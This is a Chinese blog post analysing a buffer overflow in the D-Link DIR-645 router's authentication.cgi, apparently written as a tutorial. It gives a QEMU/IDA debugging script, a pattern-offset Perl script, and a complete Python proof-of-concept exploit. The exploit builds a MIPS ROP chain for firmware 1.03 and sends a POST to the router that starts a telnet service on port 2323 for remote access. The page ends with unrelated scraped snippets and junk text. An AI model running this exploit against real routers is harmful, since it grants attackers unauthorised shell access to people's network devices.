<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    D-Link DIR-645路由器溢出分析

    VSole2021-08-30 18:04:39

    1

    漏洞介紹

    該漏洞是CGI腳本在處理authentication.cgi請求,來讀取POST參數中的"password"參數的值時造成的緩沖區溢出。

    2

    固件提取文件系統

    固件下載:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

    3

    qemu+IDA調試分析

    1、run_cgi.sh腳本:

    #!/bin/bash
    # 待執行命令
    # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
    INPUT="$1" # 參數1,uid=A21G&password=1160個A
    TEST="$2"    # 參數2,uid=A21G
    LEN=$(echo -n "$INPUT" | wc -c)    # 參數1的長度
    PORT="1234"    # 監聽的調試端口
    # 用法錯誤則提示
    if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
    then
        echo -e "Usage: sudo $0 "
        exit 1
    fi
    # 復制qemu-mipsel-static到本目錄并重命名,注意是static版本
    cp $(which qemu-mipsel-static) ./qemu
    echo $TEST
    # | 管道符:前者輸出作為后者輸入
    # chroot 將某目錄設置為根目錄(邏輯上的)
    echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
    echo 'run ok'
    rm -f ./qemu    # 刪除拷貝過來的執行文件
    

    2、調試目標程序需要匹配正確。

    3、IDA分析,追蹤問題函數

    4、填充數據調試 

    IDA調試參考:

    獲得&ra在棧上的地址(這是非子葉函數的性質):

    F8執行觀察,直到棧上保存&ra的數據內容發送變化(可猜測這里可能時溢出點):

    注意:為了防止后面可能出現二次溢出,或則其他處溢出才是真正影響被程序被控制的位置,我們繼續F8執行觀察。

    程序異常結束了,發現時a1寄存器的值是棧上的,大概猜測一下是我們填充的值太大影響到了這位置上的值。

    5、看看a1正常的內容讀取:

    縮短填充內容的長度,重新調試:

    程序走到authenticationcgi_main的返回位置才退出:

    如果需要看到更明顯的步驟,可以自己找到此處再下個斷點。

    結論:真實溢出位置就是read()函數引起的。

    6、分析read()函數上下文傳入傳出數據。

    先到read()函數跳轉處分析參數的來源與目的地:

    分析方法:由于MIPS是流水線執行指令順序,尋找參數先到函數跳轉處先向下查找參數,然受再向上查找參數。 

     

    最終得到read()函數原型:read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH"))) 

    7、注var_430計算大小方式,根據棧中變量的順序去計算:

    至此漏洞定位分析完,起始后面還有些危險函數可能存在危險溢出點需要驗證,不過方法都無非是構造數據填充加上調試觀察構造的數據位置。由于后面的函數都達不到溢出,所以就不附上步驟了。

    根據漏洞描述,POST提交數據時,并不是任意格式的數據都能造成緩存區溢出,需要”id=XX&&password=XX“形式的格式。

    驗證分析:

    程序異常退出在此處,分析:

    在向上分析,發現數據最終來源與$s2相關的數據,雙擊進入,發現固定格式,讀取后面數據為strlen服務:

    更改回要求的形式獲得結果: 

    4

    漏洞利用

    1、調試確定偏移

     這里分享個更方便的腳本patter.pl腳本生成構造數據:

    #!/usr/bin/perl -w
    use strict;
    # Generate/Search Pattern (gspattern.pl) v0.2
    # Scripted by Wasim Halani (washal)
    # Visit me at https://securitythoughts.wordpress.com/
    # Thanks to hdm and the Metasploit team
    # Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
    # This script is to be used for educational purposes only.
    my $ustart = 65;
    my $uend = 90;
    my $lstart = 97;
    my $lend = 122;
    my $nstart = 0;
    my $nend = 9;
    my $length ;
    my $string = "";
    my ($upper, $lower, $num);
    my $searchflag = 0;
    my $searchstring;
    sub credits(){
        print "Generate/Search Pattern ";
        print "Scripted by Wasim Halani (washal)";
        print "https://securitythoughts.wordpress.com/";
        print "Version 0.2";
    }
    sub usage(){
        credits();
        print " Usage: ";
        print " gspattern.pl  ";
        print "         Will generate a string of given length. ";
        print "";
        print " gspattern.pl   ";
        print "         Will generate a string of given length,";
        print "         and display the offsets of pattern found.";
    }
    sub generate(){
        credits();
        $length = $ARGV[0];
        #print "Generating string for length : " .$length . "";
        if(length($string) == $length){
            finish();
        }
        #looping for the uppercase
        for($upper = $ustart; $upper <= $uend;$upper++){
            $string =$string.chr($upper);
            if(length($string) == $length){
                finish();
            }
            #looping for the lowercase
            for($lower = $lstart; $lower <= $lend;$lower++){
                $string =$string.chr($lower);
                if(length($string) == $length){
                    finish();
                }
                #looping for the numeral
                for($num = $nstart; $num <= $nend;$num++){
                    $string = $string.$num;
                    if(length($string) == $length){
                        finish();
                    }
                    $string = $string.chr($upper);
                    if(length($string) == $length){
                        finish();
                    }
                    if($num != $nend){
                        $string = $string.chr($lower);
                    }
                    if(length($string) == $length){
                        finish();
                    }
                }
            }
        }
    }
    sub search(){
        my $offset = index($string,$searchstring);
        if($offset == -1){
            print "Pattern '".$searchstring."' not found";
            exit(1);
        }
        else{
            print "Pattern '".$searchstring."' found at offset(s) : ";
        }
        my $count = $offset;
        print $count." ";
        while($length){
            $offset = index($string,$searchstring,$offset+1);
            if($offset == -1){
                print "";
                exit(1);
            }
            print $offset ." ";
            $count = $count + $offset;
        }
        print "";
        exit(1);
    }
    sub finish(){
        print "String is : ".$string ."";
        if($searchflag){
            search();
        }
        exit(1);
    }
    if(!$ARGV[0]){
        usage();
        #print "Going into usage..";
    }
    elsif ($ARGV[1]){
        $searchflag = 1;
        $searchstring = $ARGV[1];
        generate();
        #print "Going into pattern search...";
    }
    else {
         generate();
         #print "Going into string generation...";
    }
    

    2、patter.pl腳本使用方法 

    有兩種操作模式:

    只提供一個參數,即要生成的字符串的長度( ./ gspattern.pl [length of string] )

    字符串的長度和要找到偏移量的模式提供(./ gspattern.pl [字符串長度] [搜索模式]) 

    注(搜索模式):獲得要計算偏移溢出位置的hex值,轉化為ASCII碼。(記住一定要根據大小端序來輸入,下面步驟中已舉例)

    3、生成構造數據(我直接寫入文件了,它把description也一塊寫入了,需要進去刪除下) 

    ./pattern.pl 1160 > test_auth
    

    調試確定需要的偏移位置值:

    sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"
    

    將0x38684237 轉成對應ASCII碼:8hB7

    4、構造ROP參考:家用路由器漏洞挖掘實例分析

    5、POC

    import sys
    import time
    import string
    import socket
    from random import Random
    import urllib, urllib2, httplib
    class MIPSPayload:
        BADBYTES = [0x00]
        LITTLE = "little"
        BIG = "big"
        FILLER = "A"
        BYTES = 4
        def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
            self.libase = libase
            self.shellcode = ""
            self.endianess = endianess
            self.badbytes = badbytes
        def rand_text(self, size):
            str = ''
            chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
            length = len(chars) - 1
            random = Random()
            for i in range(size):
                str += chars[random.randint(0,length)]
            return str
        def Add(self, data):
            self.shellcode += data
        def Address(self, offset, base=None):
            if base is None:
                base = self.libase
            return self.ToString(base + offset)
        def AddAddress(self, offset, base=None):
            self.Add(self.Address(offset, base))
        def AddBuffer(self, size, byte=FILLER):
            self.Add(byte * size)
        def AddNops(self, size):
            if self.endianess == self.LITTLE:
                self.Add(self.rand_text(size))
            else:
                self.Add(self.rand_text(size))
        def ToString(self, value, size=BYTES):
            data = ""
            for i in range(0, size):
                data += chr((value >> (8*i)) & 0xFF)
            if self.endianess != self.LITTLE:
                data = data[::-1]
            return data
        def Build(self):
            count = 0
            for c in self.shellcode:
                for byte in self.badbytes:
                    if c == chr(byte):
                        raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
                count += 1
            return self.shellcode
        def Print(self, bpl=BYTES):
            i = 0
            for c in self.shellcode:
                if i == 4:
                    print ""
                    i = 0
                sys.stdout.write("\\x%.2X" % ord(c))
                sys.stdout.flush()
                if bpl > 0:
                    i += 1
            print ""
    class HTTP:
        HTTP = 'http'
        def __init__(self, host, proto=HTTP, verbose=False):
            self.host = host
            self.proto = proto
            self.verbose = verbose
            self.encode_params = True
        def Encode(self, data):
            #just for DIR645
            if type(data) == dict:
                pdata = []
                for k in data.keys():
                    pdata.append(k + '=' + data[k])
                data = pdata[1] + '&' + pdata[0]
            else:
                data = urllib.quote_plus(data)
            return data
        def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
            html = ""
            if uri.startswith('/'):
                c = ''
            else:
                c = '/'
            url = '%s://%s' % (self.proto, self.host)
            uri = '/%s' % uri
            if data is not None:
                data = self.Encode(data)
            #print data
            if self.verbose:
                print url
            httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
            httpcli.request('POST',uri,data,headers=headers)
            response=httpcli.getresponse()
            print response.status
            print response.read()
    if __name__ == '__main__':
        libc = 0x2aaf8000    # so動態庫的加載基址
        target = {
            "1.03"  :   [
                0x531ff,    # 偽system函數地址(只不過-1了,曲線救國,避免地址出現00截斷字符
                0x158c8,    # rop chain 1(將偽地址+1,得到真正的system地址,曲線救國的跳板
                0x159cc,    # rop chain 2(執行system函數,傳參cmd以執行命令
                ],
            }
        v = '1.03'
        cmd = 'telnetd -p 2323'        # 待執行的cmd命令:在2323端口開啟telnet服務
        ip = '192.168.0.1'        # 服務器IP地址//here
        # 構造payload
        payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
        payload.AddNops(1011)                # filler # 7. 填充1011個字節,$s0偏移為1014,129行target數組中地址只占了3,04-3=01
        payload.AddAddress(target[v][0], base=libc)    # $s0
        payload.AddNops(4)                            # $s1
        payload.AddNops(4)                            # $s2
        payload.AddNops(4)                            # $s3
        payload.AddNops(4)                            # $s4
        payload.AddAddress(target[v][2], base=libc)    # $s5
        payload.AddNops(4)                            # unused($s6)
        payload.AddNops(4)                            # unused($s7)
        payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技術>>這里是$gp,可能是作者筆誤吧,實際驗證應該是$fp,下面注釋給出驗證數據。
        payload.AddAddress(target[v][1], base=libc)    # $ra
        payload.AddNops(4)                            # fill
        payload.AddNops(4)                            # fill
        payload.AddNops(4)                            # fill
        payload.AddNops(4)                            # fill
        payload.Add(cmd)                # shellcode
        # 構造http數據包
        pdata = {
            'uid'       :   '3Ad4',
            'password'  :   'AbC' + payload.Build(),
            }
        header = {
            'Cookie'        : 'uid='+'3Ad4',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type'  : 'application/x-www-form-urlencoded',
            'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
            }
        # 發起http請求
        try:
            HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
            print '[+] execute ok'
        except httplib.BadStatusLine:
            print "Payload deliverd."
        except Exception,e:
            print "2Payload delivery failed: %s" % str(e)
    

    注釋:棧內數據對應寄存器

    5

    qemu開啟仿真環境

    1、打開qemu系統

    sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    

    2、利用SCP把路由系統文件傳過去,之前文章有寫過,不清楚的請看參考鏈接。

    3、開始仿真環境前準備

    掛載固件文件系統中的proc目錄和dev目錄到chroot環境,因為proc中存儲著進程所需的文件,比如pid文件等等,而dev中存儲著相關的設備:

    mount -o bind /dev ./squashfs-root/dev
    mount -t proc /proc ./squashfs-root/proc/
    chroot ./squashfs-root/ sh
    

    然后進入/etc/init.d/目錄下,執行./rcS(init.d文件夾下存儲的是啟動的時候初始化服務和環境rcS文件)啟動: 

    然后根據報錯提示去修復:

    當然用別的仿真環境跑起來也都一樣運行,這里我沒啟動成功,主要是分析漏洞整個流程。關于如何更好的仿真實現開啟路由環境,歡迎大家交流。

    stringoffset函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    因此參考了《黑客免殺攻防》中的代碼對DLL型殼編寫的結構進行了一次歸納整理,并附上相應代碼解析。
    規范要求1、對用戶提交的數據在保存和展示前對特殊字符進行轉義,防止XML注入攻擊。此類問題均容易導致密碼的泄露。規范要求1、配置文件中涉及到需要用戶驗證的密碼字段采用加密后保存,禁止明文或使用弱加密算法對密碼進行加密。規范要求建議采用不可逆的加密方式對密碼進行加密如MD5。
    Flutter APP逆向實踐
    2022-07-21 16:20:09
    分析flutter的時候,沒有交叉引用,那真是想它他拖進回收站。最近又遇到了幾個flutter開發的app,對它進行了一些研究,總結了以下的分析流程。本文以iOS app為例子作為講解,Android 的flutter app和iOS 的flutter app分析方法類似。
    需要llvm 11+,這是當前afl支持的效率最高的選擇,也意味著編譯要花更長時間。實現了編譯級插樁,效果比匯編級插樁更好。從編譯的實現流程上理解插樁模式差異:afl-gcc插樁分析考慮到afl的插樁方式隨編譯器的選擇而變化,從最簡單的afl-gcc開始入手。
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    高版本go語言符號還原
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类